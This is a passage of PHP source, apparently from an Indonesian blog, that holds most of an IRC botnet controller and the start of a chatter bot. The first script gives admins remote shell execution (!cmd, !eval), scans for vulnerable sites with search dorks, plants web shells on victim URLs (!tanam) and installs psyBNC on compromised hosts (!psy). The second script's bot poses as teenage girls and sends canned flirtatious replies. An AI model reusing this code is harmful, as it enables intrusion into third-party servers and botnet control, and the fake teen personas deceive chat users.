$bruri = $_SERVER['REQUEST_URI'];
$soket = fsockopen($bhost,80,$errno,$errstr,10);
fputs($soket,"GET $bruri HTTP/1.0\r\nHost: $bhost\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n");
fclose($soket);
fputs($fp,"NOTICE $dNick :Upgrade Sukses! Exiting..".CRL);
fputs($fp,"QUIT :Completed!".CRL);
exit();
}
}
elseif ($com[3]==':!botload') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bruri = $_SERVER['REQUEST_URI'];
$soket = fsockopen($bhost,80,$errno,$errstr,10);
fputs($soket,"GET $bruri HTTP/1.0\r\nHost: $bhost\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n");
fclose($soket);
fputs($fp,"NOTICE $dNick :Botload Sukses!".CRL);
}
}
/*** CORE COMMANDS BY FaTaLisTiCz_Fx **/
elseif ($com[3]==':!target' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=='clear') {
unset($targetlist);
fputs($fp,'PRIVMSG '.$dNick.' : 4Daftar target dihapus!'. CRL);
}
elseif ($com[4]=='list') {
if (!empty($com[5])) { $sendnick = $com[5]; }
else { $sendnick = $dNick; }
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ Internal Target ('.count($targetlist).') ]'. CRL);
sort($targetlist);
foreach ($targetlist as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL);
}
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ The End ]'. CRL);
}
elseif ($com[4]=='ok') {
if (!empty($com[5])) { $sendnick = $com[5]; }
else { $sendnick = $dNick; }
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ Target OK ('.count($targetlist).') ]'. CRL);
sort($targetok);
foreach ($targetok as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL);
}
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ The End ]'. CRL);
}
elseif ($com[4]=='total') {
fputs($fp,'PRIVMSG '.$dNick.' : 12Total Target Internal: '.count($targetlist). CRL);
}
elseif ($com[4]=='log') {
if (!empty($com[6])) { $sendnick = $com[6]; }
else { $sendnick = $dNick; }
fputs($fp,'PING 12886241614'. CRL);
$isi = file_get_contents($mytargetlog,FILE_TEXT);
$isi = nl2br($isi);
$isi = str_replace("\n","",$isi);
$isi = str_replace("\r","",$isi);
$targetlog = explode("<br />",$isi);
if ($com[5] == 'show') {
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ Daftar Target ('.count($targetlog).') ]'. CRL);
$msgdelay = 0;
foreach ($targetlog as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
if ($baris) { fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL); }
}
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ The End ]'. CRL);
}
else { fputs($fp,'PRIVMSG '.$sendnick.' : 12Total Target 1['.count($targetlog).']'. CRL); }
}
else { fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan: 12 !target <list|total|log|clear> <nick|show>'.CRL); }
unset($baris);
unset($msgdelay);
unset($targetlog);
}
elseif ($com[3]==':!open') {
if (!empty($com[4])) {
$theurl = $com[4];
fputs($fp,'PING 12886241614'. CRL);
$isi = httpquery2($fp,$chan,$theurl);
$isi = strip_tags($isi);
$isi = str_replace("\t","",$isi);
$isi = str_replace("<br>","\n",$isi);
$isi = str_replace("<br />","\n",$isi);
$isi = explode("\n",$isi);
$msgdelay = 0;
$sendnick = $chan;
if ($com[5]=='show') {
pesan($fp,$sendnick,' 12.: Contents of '.$theurl.' ('.count($isi).' baris) :.'.CRL);
foreach ($isi as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(1) ; $msgdelay = 0; }
if ($baris) { pesan($fp,$sendnick,$baris); }
}
pesan($fp,$sendnick,' 12.: End of File :.');
}
else {
pesan($fp,$sendnick,' 12.: '.$theurl.' ('.count($isi).' baris) :.'.CRL);
}
unset($baris);
unset($msgdelay);
unset($targetlog);
}
else { fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan: 12 !open <show> <URL>'.CRL); }
}
elseif ($com[3]==':!raw' && $auth["$dNick"]["status"]=="Admin") {
$psn = strstr($data,":!raw");
$psn = str_replace(":!raw ","",$psn);
fputs($fp,$psn.CRL);
}
elseif ($com[3]==':!eval' && $auth["$dNick"]["status"]=="Admin") {
$psn = strstr($data,":!eval");
$psn = str_replace(":!eval ","",$psn);
eval($psn);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4Eval: 1 '.$psn.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4Eval: 1 '.$psn.CRL); }
}
elseif ($com[3]==":!cmd" && $auth["$dNick"]["status"]=="Admin") {
$psn = strstr($data,":!cmd");
$psn = str_replace(":!cmd ","",$psn);
fputs($fp,'PING 12886241614'. CRL);
$isi = nl2br(ex($psn));
$isi = str_replace("\n","",$isi);
$isi = str_replace("\r","",$isi);
$isi = explode("<br />",$isi);
$msgdelay = 0;
foreach ($isi as $v) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' : '.$v.CRL);
}
unset($isi); unset($msgdelay);
}
elseif ($com[3]==':!debug' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4] == 'on') { $debugmode = 1; }
elseif ($com[4] == 'off') { $debugmode = 0; }
fputs($fp,'NOTICE '.$dNick.' : 12Debugging: 1 '.$debugmode.CRL);
}
elseif ($com[3]==':!mychan' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) {
$changue = strtolower($com[4]);
fputs($fp, 'JOIN ' .$changue.CRL);
}
fputs($fp,'NOTICE '.$dNick.' : 12[Channel Gue] 1 '.$changue.CRL);
}
/*** Master & User Commands ***/
elseif ($com[3]==':!status') {
$statusmsg = ' 1« Status » 12New ['.$target["new"].'] 3Exist ['.$target["exist"].'] 4 Spam ['.$target["ignored"].'] 7 Total ['.$target["found"].']';
if ($spyscan) { $statusmsg .= ' 13 Scan [On]'; }
else { $statusmsg .= ' 13 Scan [Off]'; }
fputs($fp,'PRIVMSG '.$chan.' :'.$statusmsg.CRL);
}
elseif ($com[3]==':!start') {
$spyscan = TRUE;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION mulai nyari target nih.. '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :Oke BoZZ, gue cari deh' . CRL); }
}
elseif ($com[3]==':!stop') {
$spyscan = FALSE;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION berhenti nyari target ach.. '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :Oke BoZZ, gue berhenti nyari'. CRL); }
}
elseif ($com[3]==':!scan') {
if ($com[4]=='add' && $com[5]) {
$msg = str_pesan($com[3].' '.$com[4],$data);
if (!in_array($msg,$scanlist)) {
$scanlist[] = $msg;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Seep..! 12 '.$msg.' ditambahkan!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :Seep..! 12 '.$msg.' ditambahkan!'.CRL); }
}
else { fputs($fp,'NOTICE '.$dNick.' : 12 '.$msg.' sudah ada!'.CRL); }
}
elseif ($com[4]=='del' && $com[5] && $auth["$dNick"]["status"]!="User") {
$msg = str_pesan($com[3].' '.$com[4],$data);
if (in_array($msg,$scanlist)) {
$daftar = join(' ',$scanlist);
unset($scanlist);
$daftar = str_replace($msg,'',$daftar);
$scanlist = explode(' ',$daftar);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
}
unset($daftar);
}
elseif ($com[4]=='list') {
sort($scanlist);
$daftar = join(" | ",$scanlist);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4 D 1aftar 4 S 1can: 14 '.$daftar.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4 D 1aftar 4 S 1can: 14 '.$daftar.CRL); }
unset($daftar);
}
else {
$bugdork = str_pesan($com[3],$data);
$arrbug = explode(' ',$bugdork);
$thebug = $arrbug[0];
$thedork = str_replace($thebug,'',$bugdork);
if ($com[5]) {
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION nyoba scanning 4 Bug: 14 '.$thebug.' 4 Dork: 14 '.$thedork.' '. CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :Scanning 4 Bug: 14 '.$thebug.' 4 Dork: 14 '.$thedork.' '. CRL); }
foreach ($channel as $v) {
fputs($fp,'PRIVMSG '.$v.' :!scan '.$bugdork. CRL);
}
}
else {
fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan: 4 !scan <bug> <dork> 1atau 4!scan <add|del|list> <text>'. CRL);
}
}
}
elseif ($com[3]==':!ganti' && $auth["$dNick"]["status"]!="User") {
$msg = str_pesan($com[3],$data);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION ganti '.$msg.' deh '. CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :'.$msg.' diganti.'. CRL); }
$gantilist[] = $msg;
}
elseif ($com[3]==':!delganti' && $auth["$dNick"]["status"]!="User") {
$msg = str_pesan($com[3],$data);
if (in_array($msg,$gantilist)) {
$daftar = join(' ',$gantilist);
unset($gantilist);
$daftar = str_replace($msg,'',$daftar);
$gantilist = explode(' ',$daftar);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
}
unset($daftar);
}
elseif ($com[3]==':!gantilist') {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
fputs($fp,'PRIVMSG '.$dNick.' : 12.: Daftar Injector :.'. CRL);
sort($gantilist);
foreach ($gantilist as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL);
}
fputs($fp,'PRIVMSG '.$dNick.' : 12.: The End :.'. CRL);
unset($baris);
unset($msgdelay);
}
elseif ($com[3]==':!ignore') {
$ignore = str_pesan($com[3],$data);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Oke bozZ!! 4 '.$ignore.' ga ditampilkan lagi deh..'. CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :Oke bozZ!! 4 '.$ignore.' ga ditampilkan lagi deh..'. CRL); }
$ignorelist[] = $ignore;
}
elseif ($com[3]==':!delignore' && $auth["$dNick"]["status"]!="User") {
$msg = str_pesan($com[3],$data);
if (in_array($msg,$ignorelist)) {
$daftar = join(' ',$ignorelist);
unset($ignorelist);
$daftar = str_replace($msg,'',$daftar);
$ignorelist = explode(' ',$daftar);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
}
unset($daftar);
}
elseif ($com[3]==':!ignorelist') {
sort($ignorelist);
$daftar = join(" | ",$ignorelist);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4 D 1aftar 4 I 1gnore: 14 '.$daftar.CRL); }
else { fputs($fp,'PRIVMSG'.$dNick.' : 4 D 1aftar 4 I 1gnore: 14 '.$daftar.CRL); }
unset($daftar);
}
elseif ($com[3]==':!tanam' && $auth["$dNick"]["status"]!="User") {
$testurl = strstr($data,":!tanam");
$testurl = str_replace(":!tanam ","",$testurl);
$theurl = $testurl.$myshelluploader;
$isi = implode('', @file($theurl));
$posisi = strpos($isi,"Saved! File:");
$isi = substr($isi,$posisi);
if ($posisi === FALSE) {
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4[Error] 1 Akses ditolak!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4Error: 1 Akses ditolak!'.CRL); }
}
else {
$isi = str_replace("Saved! File:"," 12[Sukses!] 1 Dir: ",$isi);
fputs($fp,'PRIVMSG '.$dNick.' : 12 U 1ploaded: 14 '.$testurl.CRL);
fputs($fp,'PRIVMSG '.$dNick.' :'.$isi.CRL);
}
unset($isi);
}
elseif ($com[3]==':!psy' && $auth["$dNick"]["status"]!="User") {
$testurl = str_pesan($com[3],$data);
$theurl = $testurl.$mypsyinstaller;
$isi = httpquery2($fp,$chan,$theurl);
$isi = strip_tags($isi);
$posisi = strpos($isi,"Executing");
$isi = substr($isi,$posisi);
if ($posisi === TRUE) {
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4[Error] 1 Ga bisa install psyBNC!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4Error: 1 Ga bisa install psyBNC!'.CRL); }
}
else {
fputs($fp,'PRIVMSG '.$dNick.' : 12 psyBNC 1 installed on: 14 '.$testurl.CRL);
}
unset($isi);
}
}
/*** End of Script ***/
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG '.substr($data,5).CRL);
$statusdelay++;
if ($statusdelay == $statustime ) {
$statusmsg = ' 1« Status » 12New ['.$target["new"].'] 3Exist ['.$target["exist"].'] 4 Spam ['.$target["ignored"].'] 7 Total ['.$target["found"].']';
if ($spyscan) { $statusmsg .= ' 13 Scan [On]'; }
else { $statusmsg .= ' 13 Scan [Off]'; }
fputs($fp,'PRIVMSG '.$changue.' :'.$statusmsg.CRL);
$statusdelay = 0;
}
}
}
}
fclose($fp);
} while ($keluar == 0);

/* FUNCTIONS */
function kirim($sock,$pesan) { fputs($sock,$pesan.CRL); }
function nick($sock,$nick) { kirim($sock,"NICK $nick"); }
function pesan($sock,$to,$pesan) { kirim($sock,"PRIVMSG $to :$pesan"); }
function str_pesan($com,$data) {
$msg = strstr($data,$com);
$msg = str_replace($com.' ','',$msg);
return $msg;
}
function httpquery($query){
$isi = implode('', @file($query));
return $isi;
}
function httpquery2($sock,$to,$url){
$bhost = parse_url($url, PHP_URL_HOST);
$bruri = parse_url($url, PHP_URL_PATH).parse_url($url, PHP_URL_QUERY );
$bport = 80;
$soket = fsockopen($bhost,$bport,$errno,$errstr,10);
fputs($soket,"GET $bruri HTTP/1.0\r\nHost: $bhost\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n");
while (!feof($soket)) {
$response .= fgets($soket, 512);
}
fclose($soket);
pesan($sock,$to,"Host: $bhost - Port: $bport - Request: $bruri");
return $response;
}
function googling($sock,$to,$qu){
$qu=urlencode($qu);
//$respon=httpquery("http://localhost/search/google.co.id.htm");
$respon=httpquery("http://www.google.co.id/search?q=".$qu);
$pattern = '#<h2 class=r><a href="([^"]*)" class=l onmousedown="([^"]*)">(([^<]|<[^a][^ ])*)</a></h2>#i';
$count = preg_match_all($pattern, $respon, $matches, PREG_SET_ORDER);
if ($count == 0) {
pesan($sock,$to,' 12 G oogle: Tak ada hasil.');
return;
}
$numResults = ($count < 3) ? $count : 5;
for ($i = 0;$i < $numResults;$i++){
pesan($sock,$to,' 4G 1oogle: 12 '.urldecode($matches[$i][1]).' - 14 '.strip_tags($matches[$i][3]));
sleep(1);
}
}
function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}

?>
read more...

Script Bot Php

<?php
/***********************************
/* jatim community *
/* recording april 2009 *
/* #jatimcom @ irc.allnetwork.org *
/* jatim.community@gmail.com *
/***********************************
/*
/* Perhatian:
/* Joinkan hanya satu Bot dalam satu channel untuk menghindari terjadinya saling sapa antar bot.
/*
/* Perintah Dasar:
/* auth <password> - Untuk otorisasi
/* !join [#channel] - Join channel
/* !part [#channel] - Part channel
/* !msg <nick/#channel> - Mengirim pesan ke channel atau ke nick
/* !botnick [nick] [password] - Mengganti nick bot
/* !jump [server] - Mengganti server bot
/* !help - Melihat daftar perintah
/* !ngomong - Memperbolehkan bot untuk berbicara di semua channel
/* !diam - Melarang bot untuk berbicara di semua channel
*/

function hajar() {

$channels = '#jatimcom'; //Pisahkan tiap channel dengan spasi
$admin = 'jatimcom';
$bot_password = 'jatimcom'; //Password untuk auth bot
$ngomong = TRUE; //TRUE, Ngomong. FLASE, Diem.
$autowelcome = TRUE; //TRUE, AutoWelcome On. FLASE, AutoWelcome off.
$versi = "jatimcom";
$showresponse = 0; //1, Nampilin respon dari server irc
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc

//Nick Bot
$nicklist = array("cew-bete","gril-of-dolly","Ce_BisPaK","Cew-matre","ce-nduts");
$identify = "password"; //Password Nick Bot
//Ident Bot
$identlist = array("jatimcom",);
//Realname Bot
$namabot = array("cerli","afira","ivone","nisa","intan");
//Asl Bot
$aslbot = array("16f surabaya","17f madiun","18f madura","19f balikpapan","16f kediri","16f jembutara","19f malang");
//Pesan Quit
$quitmsglist = array(" 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");

/*** IDENTITAS BOT ***/
$namaku = $namabot[rand(0,count($namabot) - 1)];
$aslku = $aslbot[rand(0,count($aslbot) - 1)];

/*** Server IRC ***/
if ($localtest == 1) { $remotehost2 = array("localhost"); }
else {
$remotehost2 = array(
"irc.allnetwork.org",
);
}
$port = "6667";

/*** AUTO WELCOME ***/
$nickwb = array(
array("cimpli","Welcome Bozzzzz"),
array("GaaR4","Sugeng Rawuh Juragan!!!!"),
);
$wbmsg = array(
"webee <nick> :-D",
"Selamat Datang <nick>",
"Wew.. Xeaxeaxea.. <nick> pa kabar?",
"Baru OL ya <nick>?",
"Met datang di <chan>, <nick>",
"Wedew.. <nick> baru bangun tidur y? Cuci muka dulu sana..",
"Hai <nick>!",
"Wah.. Bozz <nick> dateng nih..",
"<nick> dah mandi blon?",
"baru join ya, <nick>?",
"<nick>, ada yg nyariin tuh..banyak utang ya?",
"<nick>, td kemana aja?",
"ngpn aja barusan <nick>?",
"<nick> dah makan blom?",
"hmm.. <nick> udah mulai beraksi ne kayaknya",
"kamu baik deh <nick>",
"<nick> udah siyap2 dg aksinya..",
"<nick>, kamu cuakep deh..",
"aku seneng liat <nick>.. orgnya ramah, baik, cakep lagi.",
"nicknya bagus loh <nick>..",
"<nick>, senyummu bikin hatiku berdebar..",
"wow.. <nick> ini salah satu juragan warnet neh..",
"asyiiik.. master <nick> dateng..",
"awas, <nick> adalah hacker yg pernah jatuh cinta sama cracker",
"hati2, <nick> ini sempet bikin drop chanel madiun neh",
"<nick>, wb selamat datang",
"wah.. dimana-mana ada <nick>",
"gmn kabarnya <nick>?",
"dah maem blom <nick>?",
"Asyiik.. si <nick> dateng",
"<nick>, kenalin gw $namaku",
"blom bobo toh <nick>?",
"Btw, <nick> ini adalah Carder terkaya didunia..",
"<nick> ini pernah menyaingi Kevin Midnick dlm soal hacking",
"Waduwh, <nick> kok baru join?",
"Ada yg bilang <nick> jago hacking, benarkah? ajarin domz..",
"wah.. <nick> td dicari locop tuh, katanya abis ngeflood..",
"Tolong donk <nick>.. ga bisa dibuka nih..",
"tolooong.. <nick> nyari aku sampai ke <chan>..",
"Wedew.. <nick> ini nyang suka nyebarin Virus rupanya..",
"Leh nalan ga <nick>?",
"Wow.. <nick> ini yg masuk infotainment kemaren yah?",
"<nick>, asl donk..",
"<nick>, nm km siapa seh?",
"chan <chan> jd rame klo ada si <nick>",
"kpn neh ketemuannya <nick>?",
"maaf ya <nick>, aku td ga sengaja ngintip kamu..",
"btw, <nick> udah kul apa masih skul?",
"wb <nick>, km anak mana neh?",
"tmn2 semua dah kenal <nick>, kan?",
"siapa sih yg g knal ma <nick>?",
"WoW <nick>, kok dah lama ga OL?",
"udah nyuci piring td <nick>?",
"<nick>, ada yg lebih bagus dari HIT ga?",
"ngapain aja di pasar tadi <nick>?",
"kayaknya km blom bruntung deh <nick>",
"<nick> blom ngantuk y?",
"weleh2, <nick> udah siap nembak ya..",
"hai boss <nick>, bagi2 donk pulsanya! kikikiki..",
"leh nalan ga <nick>?",
"hihi,, <nick> lucu deh.. wkwkwkwk.. ",
"hayyah,, baru OL ya <nick>? xeaxeaexa",
);
$jawabsapa = array(
"ada apa <nick> cayaank?",
"iya <nick> sayang",
"yup <nick>!",
"Hadaah.. si <nick> manggil mulu ich..",
"males ah <nick> ",
"nanti aja y <nick>",
"bentar dulu <nick>",
"ichh <nick> endel banget siy..",
"ga nich <nick>",
"ga jadi deh <nick>",
"Walaaah.. <nick>, apaah apaah?",
"hmm..<nick> mo tau ajah",
"Waxz <nick> gagagagaga",
"capee deh.. <nick>",
"apaah apaah <nick>?",
"sebel ah <nick>",
"<nick> jgn manggil2 terus donk..",
"$namaku cape dipanggil mulu <nick>",
"Eaxeaxea.. <nick> kangen yach?",
"Walah.. kikiki.. <nick> ini cerewet banget..",
"Hadeehh <nick>.. ~_~!",
);

/** AUTO RESPONSE ***/
/*** Mood Lists ***/
$rmales = "lg males nih <nick>..";
$rmau = "aku mau koq <nick>!";
$rsanggup = "bisa kok <nick>";
$rboleh = "boleh kok <nick>";
$rsetuju = "iya <nick>";
$rthx = "makacih <nick>..";
$rbingung = "hmm..$namaku ga tau jg nih <nick>..";
$rgenit = "ich.. <nick> genit";

$respon_umum = array(
array("sepi","iya nih <nick> sepi bangetz.."),
array("brb ","ok <nick>"),
array("tha ","tha tha <nick>.."),
array("semua ","hi <nick>.."),
array("traktir","<nick>, aku jg ditraktir donk.. kikikiki"),
array("lapar","lho..? <nick> blom makan y?"),
array("pamit","uke dukeh <nick>, ati2 y.. tataw.."),
array("pamet","oke <nick>, ati2 y.. tataw.."),
array("pamed","seep <nick>, ati2 y.. thaaa"),
array("ngantuk","<nick> dah ngantuk y? tidur sana gih"),
array("bobo ","oke deh <nick>, mimpiin aku y"),
array("bubu ","silahkan <nick>, moga mimpi indah y"),
array("assalam","Wa'alaikumsalam <nick>"),
array("pagi ","pagi <nick>"),
array("sore ","sore <nick>"),
array("malam ","malam <nick>"),
array("siang ","siang <nick>"),
array("mandi ","aku ikut donk <nick>..gagaga.."),
array("nunggu ","ga nunggu kok <nick>"),
array("hayah","hayah?? napa <nick>?"),
array("hadeh","hadeh jg dah <nick>.. ghaghagha.."),
array("hadah","hadah? hadiah kalee..gagaga.."),
array("!ping","pang ping pung peng pong <nick>!"),
);

$respon_pesan = array(
//Sapaan
array("hai ","hai jg <nick>"),
array("halo ","halo jg <nick>"),
array("alow","alow jg <nick>"),
array("kabar","baik, km gmn <nick>?"),
array("kbr","baik, km gmn <nick>?"),
array("webe","$rthx"),
array("wb","$rthx"),
array("tq","sama2 <nick>"),
array("makasi","sama2 <nick> :)"),
array("makaci","sama2 <nick>"),
array("nalin","hai.. aku $namaku"),
array("nalkan","hai.. aku $namaku"),
array("nalan","boleh koq <nick>.. u 1st"),
//Identitas
array("asl ","<nick>, aku $aslku"),
array("umur","<nick>, klo aq $aslku"),
array("nama","<nick>, aku $namaku .. u?"),
array("skul ","yup <nick>, aku skul."),
array(" kul ","<nick>, ga kul neh.."),
array("alamat","weleeehh.. rahasia donk <nick>.."),
array("nak mana","aQ $aslku <nick>"),
array(" tinggal ","<nick>, aku di rumah"),
array("cowo","blom, klo <nick> gmn?"),
array("pcr","blom, hihi.. klo <nick>?"),
array("pacaran","emangnya <nick> mau y pacaran ma $namaku?"),
array("pacar ","blom, <nick> ndiri gmn?"),
//Ajakan
array("pv","$rmales"),
array("ngomong","ngomong ttg apa <nick>?"),
array("curhat","mangnya mo curhat masalah apa <nick>?"),
array("nikah ","nikah? ich.. boro2 nikah ma <nick>"),
array("kawin ","kawin?? ich.. ogaaaah.."),
array("kencan","boleh <nick>, kpn neh kencannya?"),
array("besok","boleh <nick>.."),
array("mau ","$rmau"),
//Tuduhan
array("bohong","bohong? ngpn Q bohong.. <nick> kali yg bohong..kekeke"),
array("boong","boong? <nick> tuh yg boong.."),
array("males","yaa.. lagi males aja nih <nick>"),
array("lain","yg lain gmn <nick>?"),
array("laen","yg laen gmn <nick>?"),
array("GR ","<nick> tuh yg ke-GR-an.."),
array("nyambung","<nick>nya aja yg ga nyambung.. xixi"),
array("bot","bot itu gmn? kaya <nick> ntu ya?"),
array(" aneh","aneh gmn <nick>?"),
array("nipu","idiiich..siapa jg yg nipu <nick>.."),
//Kegiatan
array("mandi","klo aku udah mandi <nick>"),
array("makan","udah koq <nick>, klo <nick>?"),
array("maem","udah koq <nick>, klo <nick>?"),
array("mkn","udah neh, klo <nick>?"),
array("belanja","belanja dmn <nick>?"),
array("bobo ","$rmales"),
array("tidur ","$rmales"),
array("ngantuk ","blom neh <nick>.. xixi"),
array("ngpn","lg chat aja neh <nick>"),
array("ngapa","lg chat aja neh <nick>"),
//Pertanyaan
array("salam kenal ","salam kenal jg <nick>"),
array("kenal ","$namaku ga kenal tuh.. xixi"),
array("tau ","$namaku ga tau tuh.. xixi"),
array("napa","aq ga knp2 koq <nick>"),
array("knp","aq ga knp2 koq <nick>"),
array("kemana","disini aja tuh <nick>"),
array("lupa","aq ga lupa koq <nick>"),
array(" mana ","$rbingung"),
array("gimana","hmm.. gimana yach ? kikikiki.."),
//Persetujuan
array("maaf","$rsetuju"),
//Mood
array("cinta","ih.. <nick> gombal deh.."),
array("love","I love u too, <nick>"),
array("jodoh","jodoh kalee <nick>"),
array("kangen","aku jg kangen km, <nick>"),
array("muach","muach <nick>.."),
array("uaach","idih, <nick> ga malu apa nyium2 aku didepan umum.."),
array("kiss","mo permen kiss ya <nick>?"),
array("cium","$rgenit"),
array("eluk ","$rgenit"),
array("elonin","jgn donk <nick>, kan malu.."),
//Additional
array("hihihi","kok <nick> ngetawain aku seh?"),
array("xixi","ngetawain aku y <nick>?"),
array("slap","auw <nick>! atit tau.."),
array("pokes","auw <nick>! atit tauuukk..."),
array("masuk","ih <nick> ngerezz"),
);

//Special Words
$badwordlist = array("jancu","janco","pantek","pepek","kontol","anjrit","anjink",
"fuck","kentot","ngentot","taek","kelamin","ngesex"," ml ","anjenk","anjink",
"jajuk","torok"," keat ","dobol ");
$pujianlist = array("cantik","baik","baek","cakep","ramah","pengertian","hebat",
"bagus","indah","jujur");
$cacianlist = array("bego","jelek","jelex","gendeng","edan","gilo","gila",
"sinting","dudul","dodol","jahat","goblok","geblek","sialan"," bau","stres");

//Responses to Special Words
$rjorok = array(
"om..! <nick> ngomong jorok nih.. kick dunk pliss!",
"guys..! <nick> ini ga sopan banget.. kick dunk pliss!",
"hadah.. <nick> ga sopan ikz"
);
$rcacian = array(
"idih, <nick> tuch yg <kata>",
"<kata>? bukanya <nick> tuh yg <kata>?",
"gw mmg <kata>, tp <nick> lebih <kata> lagi",
"gw ga <kata> tuh, yg <kata> itu <nick> kan?"
);
$rpujian = array(
"makasih <nick>.. kamu jg koq",
"<nick> baik deh..",
"ga kok <nick>.. km lebih <kata>",
"<kata>? hihi.. <nick> bisa aja",
"tengkyu <nick>.. aduh $namaku g punya uang kecil nih.."
);
//Flood Protection Setting
$maxkar = 350; //Maksimal karakter di channel
$rflood = "Aduh!! <nick> ngeflood nih..";

//Help
$judul = ' 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ';
$helptext = array(
' 0,4«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ',
"-",
" 12auth <password> - Login ke bot",
" 12deauth - Logout dari bot",
" 12pass <password> - Mengeset password bot",
" 12chgpass <passlama> <passbaru> - Mengganti password bot",
" 12adduser <nick> <master/user> - Menambah master/user bot",
" 12deluser <nick> - Menghapus master/user bot",
" 12`auth - Status anda di channel (Channel)",
" 12!auth - Status otorisasi anda",
" 12!act <text> - Bot action (Channel)",
" 12!slap <nick> - Slap nick (Channel)",
" 12!msg <chan/nick> <pesan> - Mengirim pesan",
" 12!notice <chan/nick> <pesan> - Mengirim notice",
" 12!ctcp <chan/nick> <ctcptext> - Request CTCP",
" 12!ping - Meminta bot untuk membalas dg pong (Channel)",
" 12!info - Melihat info bot (Admin)",
" 12!up - Meminta bot untuk menjadi @ di channel (Channel)",
" 12!down - Meminta bot untuk turun dari @ di channel (Channel)",
" 12!cycle <channel> <pesan> - Hop di channel (Channel) (Admin/Master)",
" 12!part [channel] [alasan] - Part dari channel (Admin)",
" 12!join <channel> - Join channel (Admin/Master)",
" 12!botnick <nick> <passwordnick> - Ganti nick (Admin/master)",
" 12!k <nick> - Kick nick (Channel)",
" 12!kb <nick> - Kick ban nick (Channel)",
" 12!changenick - Ganti nick ke nick internal",
" 12!op <nick1> [nick2] [nick3] - Op (Channel)",
" 12!deop <nick1> [nick2] [nick3] - Deop (Channel)",
" 12!v <nick1> [nick2] [nick3] - voice (Channel)",
" 12!dv <nick1> [nick2] [nick3] - Devoice (Channel)",
" 12!away [alasan] - Meminta nick untuk Away",
" 12!mode <flags> <chan/nick> - Mengubah Mode (Channel)",
